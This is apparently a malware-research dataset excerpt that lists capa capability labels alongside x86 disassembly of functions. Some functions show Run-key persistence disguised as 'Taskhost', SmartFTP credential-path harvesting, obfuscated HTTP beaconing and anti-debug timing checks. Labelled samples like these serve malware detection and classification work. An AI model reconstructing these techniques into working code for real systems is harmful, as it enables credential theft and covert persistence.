joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a1d
Capabilities:
Get file size
Read file via mapping

Disassembly:
push 0x24
mov eax, 0x416681
call fcn.004084e1
mov edi, ecx
mov dword [ebp - 0x20], edi
xor ebx, ebx
lea eax, [ebp + 8]
push ebx
push 0x80
push 3
push ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0x1c], 8
push 1
cmovae eax, dword [ebp + 8]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 1
cmp esi, 0xffffffff
je 0x403bce
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x403bce
push ebx
push ebx
push ebx
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 2
test ebx, ebx
je 0x403b8b
xor eax, eax
push eax
push eax
push eax
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [edi], edx
test edx, edx
je 0x403b8b
mov ecx, dword [edx + 0x3c]
movzx eax, word [ecx + edx + 6]
test ax, ax
jne 0x403ac5
or dword [ebp - 0x24], 0xffffffff
jmp 0x403ae0
imul eax, eax, 0x28
add eax, ecx
mov ecx, dword [eax + edx + 0xe4]
add ecx, dword [eax + edx + 0xe0]
mov dword [ebp - 0x24], ecx
cmp ecx, 0xffffffff
jne 0x403aea
cmp dword [ebp - 0x28], 0xffffffff
jle 0x403b7b
mov eax, dword [str.zzd.]
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], eax
lea edx, [ecx + 1]
mov al, byte [0x41e0d8]
mov byte [ebp - 0x14], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403b00
sub ecx, edx
mov dword [ebp - 0x1c], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040665f
push dword [ebp - 0x1c]
mov edi, eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, dword [ebp - 0x24]
push eax
push edi
call fcn.00407c20
push dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.00411f62
add esp, 0x1c
test eax, eax
je 0x403bba
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 8]
mov dword [ebp - 0x24], eax
cmp eax, dword [ebp - 0x28]
jg 0x403b71
push dword [ebp - 0x1c]
add eax, ecx
push eax
push edi
call fcn.00407c20
push dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.00411f62
add esp, 0x18
test eax, eax
je 0x403bba
push edi
call fcn.00406e10
mov edi, dword [ebp - 0x20]
pop ecx
cmp dword [edi], 0
je 0x403b8b
push dword [edi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [edi], 0
xor edi, edi
cmp ebx, 0xffffffff
je 0x403b99
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp esi, 0xffffffff
je 0x403ba7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 1
lea ecx, [ebp + 8]
call fcn.0040185f
mov eax, edi
call fcn.0040849f
ret
push edi
call fcn.00406e10
mov eax, dword [ebp - 0x20]
pop ecx
mov edi, dword [eax]
add edi, dword [ebp - 0x1c]
add edi, dword [ebp - 0x24]
jmp 0x403b8d
mov edi, ebx
jmp 0x403b9b
Function at 0x403c09
Capabilities:
Get file size
Read file via mapping

Disassembly:
push 4
mov eax, 0x4166ae
call fcn.004084ae
mov esi, ecx
xor ebx, ebx
lea eax, [ebp + 8]
push ebx
push 0x80
push 3
mov dword [ebp - 4], ebx
cmp dword [ebp + 0x1c], 8
push ebx
cmovae eax, dword [ebp + 8]
push 1
push 0x80000000
push eax
mov dword [esi], ebx
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push ebx
push 2
push ebx
push edi
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
xor eax, eax
push eax
push eax
push eax
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0xc
mov dword [ebp - 0x10], eax
call fcn.004038d3
pop ecx
test eax, eax
je 0x403c89
mov ecx, dword [ebp - 0x10]
mov dword [eax], edi
mov dword [eax + 4], ebx
mov dword [eax + 8], ecx
jmp 0x403c8b
xor eax, eax
push 0
push 1
lea ecx, [ebp + 8]
mov dword [esi], eax
call fcn.0040185f
mov eax, esi
call fcn.0040848b
ret 0x18

Function at 0x403d4b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x420008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
je 0x403e40
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
js 0x403e40
xor eax, eax
push 0x4e
push eax
mov word [ebp - 0x58], ax
lea eax, [ebp - 0x56]
push eax
call fcn.00407b90
movzx eax, byte [ebp - 0x261]
push eax
movzx eax, byte [ebp - 0x262]
push eax
movzx eax, byte [ebp - 0x263]
push eax
movzx eax, byte [ebp - 0x264]
push eax
movzx eax, byte [ebp - 0x265]
push eax
movzx eax, byte [ebp - 0x266]
push eax
movzx eax, byte [ebp - 0x267]
push eax
movzx eax, byte [ebp - 0x268]
push eax
movzx eax, word [ebp - 0x26a]
push eax
movzx eax, word [ebp - 0x26c]
push eax
push dword [ebp - 0x270]
lea eax, [ebp - 0x58]
push str._08X__04X__04x__02X_02X__02X_02X_02X_02X_02X_02X
push 0x28
push eax
call fcn.00403cf6
add esp, 0x44
xor eax, eax
mov word [ebp - 0x260], ax
push 0x206
push eax
lea eax, [ebp - 0x25e]
push eax
call fcn.00407b90
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x260]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
xor eax, eax
inc eax
jmp 0x403e42
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406668
mov esp, ebp
pop ebp
ret
Function at 0x4062a9
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
test edx, edx
jne 0x4062b8
xor eax, eax
jmp 0x406390
push ebx
push esi
mov esi, dword [ebp + 8]
or ecx, 0xffffffff
mov ebx, 0xff
cmp esi, 8
jb 0x406371
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
dec edi
jne 0x4062d4
pop edi
test esi, esi
je 0x40638a
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x41c8a0]
inc edx
dec esi
jne 0x406375
not ecx
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41125f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040b99b
mov dword [ebp - 0x14], eax
cmp dword [0x422778], esi
jne 0x411352
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4112df
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x411432
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x411432
push 0x41bcec
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x411432
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x422778], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42277c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x422780], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x422788], eax
test eax, eax
je 0x41134f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x422784], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x411377
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41136a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41138c
push 4
pop eax
jmp 0x411434
cmp dword [ebp - 0x14], esi
je 0x41138c
push dword [0x422778]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x411371
mov eax, dword [0x422784]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4113ea
cmp dword [0x422788], edi
je 0x4113ea
push eax
call ebx
push dword [0x422788]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4113ea
test eax, eax
je 0x4113ea
call ecx
test eax, eax
je 0x4113df
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4113df
test byte [ebp - 8], 1
jne 0x4113ea
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41141a
mov eax, dword [0x42277c]
cmp eax, edi
je 0x411417
push eax
call ebx
test eax, eax
je 0x411417
call eax
mov esi, eax
test esi, esi
je 0x411417
mov eax, dword [0x422780]
cmp eax, edi
je 0x411417
push eax
call ebx
test eax, eax
je 0x411417
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x422778]
call ebx
test eax, eax
je 0x411432
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x411434
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406668
mov esp, ebp
pop ebp
ret
Function at 0x405136
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040be8c
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.00405511
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.00405511
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.00405511
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.00405511
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call 0x40848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x405203
test eax, eax
jbe 0x405203
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call 0x404e7b
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051bb
cmp dword [ebp - 8], 0
jbe 0x40521b
mov esi, dword [ebp - 0xc]
call 0x4033a0
jmp 0x405224
push dword [ebp - 0xc]
call fcn.0040be29
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a30
xor eax, eax
jmp 0x406a65
push edi
push dword [ebp + 0x14]
call fcn.00405451
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d14
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d26
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114e4], eax
pop esi
mov eax, ecx
ret
Function at 0x409df4
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d5a0
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405511
lea eax, [ebp - 0x210]
push eax
call fcn.00405451
xor ebx, ebx
push 0x423ec8
mov word [ebp + eax*2 - 0x212], bx
call fcn.00405451
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bed9
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409e8e
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409e7a
dec edx
je 0x409e72
dec edx
jne 0x409e80
add ecx, 0xfffe
jmp 0x409e80
add ecx, 0xfffb
jmp 0x409e80
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409e4b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409eb1
xor eax, eax
jmp 0x409f26
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0b8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409ead
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040be29
cmp edi, ebx
pop ecx
je 0x409ead
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409f24
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bf24
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409fb1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f750
call fcn.0040d248
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a030
cmp word [ebp - 0x1c], 0xffff
jne 0x40a030
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a04b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a011
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409ff2
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427ed0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a04b
jmp 0x409fd3
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a051
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d283
ret
Function at 0x40a156
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x41105c], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a176
call fcn.0040a0b5
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a188
mov esi, ebx
call fcn.0040a057
test eax, eax
mov dword [ebp - 8], eax
je 0x40a23d
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a224
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a1e8
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415278]
mov eax, 0x1388
push dword [0x41fdb0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ac60
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.004069c0
test eax, eax
pop ecx
pop ecx
jne 0x40ac8e
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ac7c
xor eax, eax
jmp 0x40ac8e
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.Taskhost
call fcn.004069c0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100032b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp byte [eax + 0x1a0], 0
jne 0x100032e1
mov eax, dword [eax + 0x150]
cmp eax, 0xffffffff
je 0x100032e1
push 2
push 1
lea ecx, [ebp + 0xb]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x100032e1
mov al, 1
pop ebp
ret
xor al, al
pop ebp
ret

Function at 0x10003510
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push esi
push 0x80
lea eax, [ebp - 0x84]
mov dword [ebp - 4], 0x80
push 0
push eax
call fcn.10054670
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x84]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x10003580
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [ebp - 0x184]
push 0x100
push eax
push esi
call fcn.10043f90
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push dword [ebp + 8]
call fcn.1003bde0
add esp, 0x1c
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp + 0x14]
lea eax, [ebp - 0x84]
push dword [ebp + 0x10]
push dword [ebp - 4]
push eax
call fcn.10003120
add esp, 0x10
test al, al
jne 0x100035d1
push edi
call fcn.1005c3ec
mov esi, dword [eax]
call fcn.1005c3ec
mov edi, eax
lea eax, [ebp - 0x184]
push 0x100
push eax
push esi
call fcn.10043f90
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push dword [ebp + 8]
call fcn.1003bde0
add esp, 0x1c
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10003c90
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100c3ec8]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x10003ce2
push 3
push 2
push eax
push eax
push 6
call fcn.10050c50
add esp, 0x14
test al, al
je 0x10003cd6
mov dword [0x100c3ec8], 2
mov esp, ebp
pop ebp
ret
mov dword [0x100c3ec8], 1
jmp 0x10003ce7
cmp eax, 2
je 0x10003d27
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x10003d0e
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x10003d27
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret
Function at 0x100049d0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
push 4
cmp byte [esi + 0x705], al
setne al
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x10004a19
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d
push esi
call fcn.1003be80
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [esi + 0x6a4]
mov dword [ebp - 0x10], 1
call fcn.10050e60
push dword [esi + 0x6a8]
imul eax, eax, 0x3e8
mov dword [ebp + 8], eax
mov dword [ebp - 0xc], eax
call fcn.10050e60
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [ebp + 8], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x10004a89
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d
push esi
call fcn.1003be80
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004a90
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
push 1
push 6
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x10004ae0
push 0x100
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.10043f90
push eax
push str.Could_not_set_TCP_NODELAY:__s
push dword [ebp + 8]
call fcn.1003be80
add esp, 0x18
mov esp, ebp
pop ebp
ret

Function at 0x10006340
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, 0x1505
push edi
lea edi, [esi + eax]
cmp esi, edi
jae 0x10006376
mov al, byte [esi]
push eax
call fcn.10043cc0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x10006358
pop edi
pop esi
movzx eax, bl
pop ebx
pop ebp
ret